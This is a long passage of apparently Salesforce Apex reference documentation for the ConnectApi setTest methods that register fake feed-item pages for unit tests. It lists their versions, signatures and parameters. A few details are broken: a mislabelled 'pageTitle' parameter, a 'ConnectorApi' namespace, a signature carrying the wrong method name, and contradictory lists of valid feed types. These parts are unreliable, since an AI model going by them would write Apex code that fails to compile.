public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageTitle
Type: Integer

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder

Values are:
• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

result
Type: ConnectApi.FeedItemPage

The object containing test data.

Return Value
Type: Void

SEE ALSO:

setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly, result)

Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
30.0–31.0

Signature

public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedItemPage result)
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

**subjectId**
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

**recentCommentCount**
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

**density**
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**showInternalOnly**
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

**result**
Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly)
- Testing ConnectApi Code

**setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, result)**
Register a ConnectApi.FeedItemPage object to be returned when the matching getFeedItemsFromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

**API Version**
28.0–31.0

**Signature**
public static Void setTestGetFeedItemsFromFilterFeed(String communityId, String subjectId, String keyPrefix, ConnectApi.FeedItemPage result)

**Parameters**
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
- **subjectId**
  Type: String
  The ID of the context user or the alias me.
- **keyPrefix**
  Type: String
  A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
result
  Type: ConnectApi.FeedItemPage
  The object containing test data.

Return Value
Type: Void

SEE ALSO:
  getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix)
  Testing ConnectApi Code

setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)

Register a ConnectApi.FeedItemPage object to be returned when the matching getFeedItemsFromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

API Version
28.0–31.0

Signature
public static Void setTestGetFeedItemsFromFilterFeed(String communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)

Parameters
  communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

  subjectId
  Type: String
  The ID of the context user or the alias me.

  keyPrefix
  Type: String
  A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

  pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

  pageSize
  Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`

Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedDateDesc` is used.

**result**
Type: `ConnectApi.FeedItemPage`

The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)`
- **Testing ConnectApi Code**

**setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, result)**

Register a `ConnectApi.FeedItemPage` object to be returned when the matching `getFeedItemsFromFilterFeed` method is called in a test context. Use the method with the same parameters or the code throws an exception.

API Version
29.0–31.0

Signature

```java
public static Void setTestGetFeedItemsFromFilterFeed(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
```

Parameters

- **communityId**
  Type: `String`
Use the ID for an Experience Cloud site, _internal_, or _null_.

**subjectId**
- **Type**: _String_
- The ID of the context user or the alias `me`.

**keyPrefix**
- **Type**: _String_
- A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

**recentCommentCount**
- **Type**: _Integer_
- The maximum number of comments to return with each feed item. The default value is 3.

**density**
- **Type**: _ConnectApi.FeedDensity_
- Specify the amount of content in a feed.
  - **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  - **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
- **Type**: _String_
- The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in _null_, the first page is returned.

**pageSize**
- **Type**: _Integer_
- Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in _null_, the default size is 25.

**sortParam**
- **Type**: _ConnectApi.FeedSortOrder_
- Values are:
  - **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
  - **CreatedDateDesc**—Sorts by most recent creation date.
  - **LastModifiedDateDesc**—Sorts by most recent activity.
  - **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
  - **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
- Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in _null_, the default value `CreatedDateDesc` is used.

**result**
- **Type**: _ConnectApi.FeedItemPage_
- The object containing test data.
Return Value
Type: Void

SEE ALSO:
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam)

Testing ConnectApi Code

setTestGetFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, updatedSince, result)

Register a ConnectApi.FeedItemPage object to be returned when the getFeedItemsFromFilterFeedUpdatedSince method is called in a test context.

API Version
30.0–31.0

Signature
public static Void setTestGetFeedItemsFromFilterFeedUpdatedSince(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String updatedSince, ConnectApi.FeedItemPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**

Type: String

The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**

Type: Integer

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**

Type: ConnectApi.FeedSortOrder

Values are:

- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**updatedSince**

Type: String

An opaque token containing information about the last modified date of the feed. Do not construct this token. To retrieve this token, call getFeedItemsFromFilterFeed and take the value from the updatesToken property of the ConnectApi.FeedItemPage response body.

**result**

Type: ConnectApi.FeedItemPage

The object containing test data.

Return Value

Type: Void

SEE ALSO:

getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, updatedSince)

Testing ConnectApi Code
setTestGetFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, ConnectApi.FeedItemPage, results)

Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsUpdatedSince is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
30.0–31.0

Signature
public static Void setTestGetFeedItemsUpdatedSince(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedItemPage results)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
 Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedItemPage` response body.

`result`
Type: `ConnectApi.FeedItemPage`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
`getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)`
`Testing ConnectApi Code`

`setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, result)`
Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItemsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
30.0–31.0

Signature
`public static Void setTestGetFeedItemsUpdatedSince(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedItemPage result)`

Parameters
`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`feedType`
Type: `ConnectApi.FeedType`
One of these values:
- Files
- Groups
- News
- People
- Record

`subjectId`
Type: `String`
If `feedType` is `ConnectApi.Record`, `subjectId` can be any record ID, including a group ID. Otherwise, it must be the context user or the alias `me`.

**recentCommentCount**
- Type: Integer
- The maximum number of comments to return with each feed item. The default value is 3.

**density**
- Type: `ConnectApi.FeedDensity`
- Specify the amount of content in a feed.
  - AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  - FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
- Type: String
- The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
- Type: Integer
- Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**updatedSince**
- Type: String
- An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedItemPage` response body.

**result**
- Type: `ConnectApi.FeedItemPage`
- The object containing test data.

**Return Value**
- Type: Void

**SEE ALSO:**
  - `getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince)`
  - Testing ConnectApi Code

**setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, showInternalOnly, result)**

Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItemsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

**API Version**
- 30.0–31.0
Signature

```java
public static Void setTestGetFeedItemsUpdatedSince(String communityId,
ConnectorApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectorApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
Boolean showInternalOnly, ConnectorApi.FeedItemPage result)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **feedType**
  - Type: `ConnectorApi.FeedType`
  - One of these values:
    - Files
    - Groups
    - News
    - People
    - Record

- **subjectId**
  - Type: `String`
  - If `feedType` is `ConnectorApi.Record`, `subjectId` can be any record ID, including a group ID. Otherwise, it must be the context user or the alias `me`.

- **recentCommentCount**
  - Type: `Integer`
  - The maximum number of comments to return with each feed item. The default value is 3.

- **density**
  - Type: `ConnectorApi.FeedDensity`
  - Specify the amount of content in a feed.
    - AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
    - FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

- **pageParam**
  - Type: `String`
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- **updatedSince**
  - Type: `String`
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedItemPage` response body.

**showInternalOnly**
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

**result**
Type: `ConnectApi.FeedItemPage`
The object containing test data.

**Return Value**
Type: Void

**SEE ALSO:**
- `getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, showInternalOnly)`
- Testing ConnectApi Code

**setTestSearchFeedItems(communityId, q, result)**
Register a test feed item page to be returned when `searchFeedItems(communityId, q)` is called during a test.

**API Version**
28.0–31.0

**Signature**
```java
public static Void searchFeedItems(String communityId, String q, ConnectApi.FeedItemPage result)
```

**Parameters**
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **q**
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- **result**
  Type: `ConnectApi.FeedItemPage`
  The object containing test data.
Return Value
Type: Void

SEE ALSO:
searchFeedItems(communityId, q)
Testing ConnectApi Code

setTestSearchFeedItems(communityId, q, sortParam, result)
Register a test feed item page to be returned when searchFeedItems(String, String,
ConnectApi.FeedSortOrder) is called during a test.

API Version
28.0–31.0

Signature
public static Void setTestSearchFeedItems(String communityId, String q,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

result
Type: ConnectApi.FeedItemPage
The feed item test page.

Return Value
Type: Void

SEE ALSO:
searchFeedItems(communityId, q, sortParam)

Testing ConnectApi Code

setTestSearchFeedItems(communityId, q, pageParam, pageSize, result)

Register a test feed item page to be returned when searchFeedItems(String, String, String, Integer) is called during a test.

API Version
28.0–31.0

Signature
public static Void setTestSearchFeedItems(String communityId, String q, String pageParam, Integer pageSize, ConnectApi.FeedItemPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.FeedItemPage
The test feed item page.
Return Value
Type: Void

SEE ALSO:
searchFeedItems(communityId, q, pageParam, pageSize)
Testing ConnectApi Code

setTestSearchFeedItems(communityId, q, pageParam, pageSize, sortParam, result)
Register a test feed item page to be returned when searchFeedItems (String, String, String, Integer, ConnectApi.FeedSortOrder) is called during a test.

API Version
28.0–31.0

Signature
public static Void setTestSearchFeedItems(String communityId, String q, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.

- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds. Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**result**

- Type: `ConnectApi.FeedItemPage`
  - The test feed item page.

**Return Value**

- Type: Void

**SEE ALSO:**

- `searchFeedItems(communityId, q, pageParam, pageSize, sortParam)`
  - Testing ConnectApi Code

### setTestSearchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)

Register a test feed item page to be returned when `searchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)` is called during a test.

**API Version**

- 29.0–31.0

**Signature**

```java
public static Void setTestSearchFeedItems(String communityId, String q, Integer recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or null.

- `q`
  - Type: `String`
  - Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- `recentCommentCount`
  - Type: `Integer`
  - The maximum number of comments to return with each feed item. The default value is 3.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

result
Type: ConnectApi.FeedItemPage
The test feed item page.

Return Value
Type: Void

SEE ALSO:
searchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestSearchFeedItemsInFeed(communityId, feedType, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
28.0–31.0
Signature

```java
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, String q, ConnectApi.FeedItemPage result)
```

Parameters

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or null.

- **feedType**
  Type: `ConnectApi.FeedType`
  The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

- **q**
  Type: `String`
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- **result**
  Type: `ConnectApi.FeedItemPage`
  The object containing test data.

Return Value

Type: `Void`

SEE ALSO:

- `searchFeedItemsInFeed(communityId, feedType, q)`
- Testing ConnectApi Code

**setTestSearchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)**

Register a `ConnectApi.FeedItemPage` object to be returned when the matching `ConnectApi.searchFeedItemsInFeed` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version

28.0–31.0

Signature

```java
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage result)
```
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**q**
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**result**
Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- searchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
- Testing ConnectApi Code
setTestSearchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)

Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0–31.0

Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
   Type: ConnectApi.FeedSortOrder
   Values are:
   • CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
   • CreatedDateDesc—Sorts by most recent creation date.
   • LastModifiedDateDesc—Sorts by most recent activity.
   • MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
   • Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
   Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

q
   Type: String
   Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

result
   Type: ConnectApi.FeedItemPage
   The object containing test data.

Return Value
   Type: Void

   searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
   Testing ConnectApi Code

setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, q, result)
   Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
   28.0–31.0

Signature
   public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, String q, ConnectApi.FeedItemPage result)
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: ConnectApi.FeedType
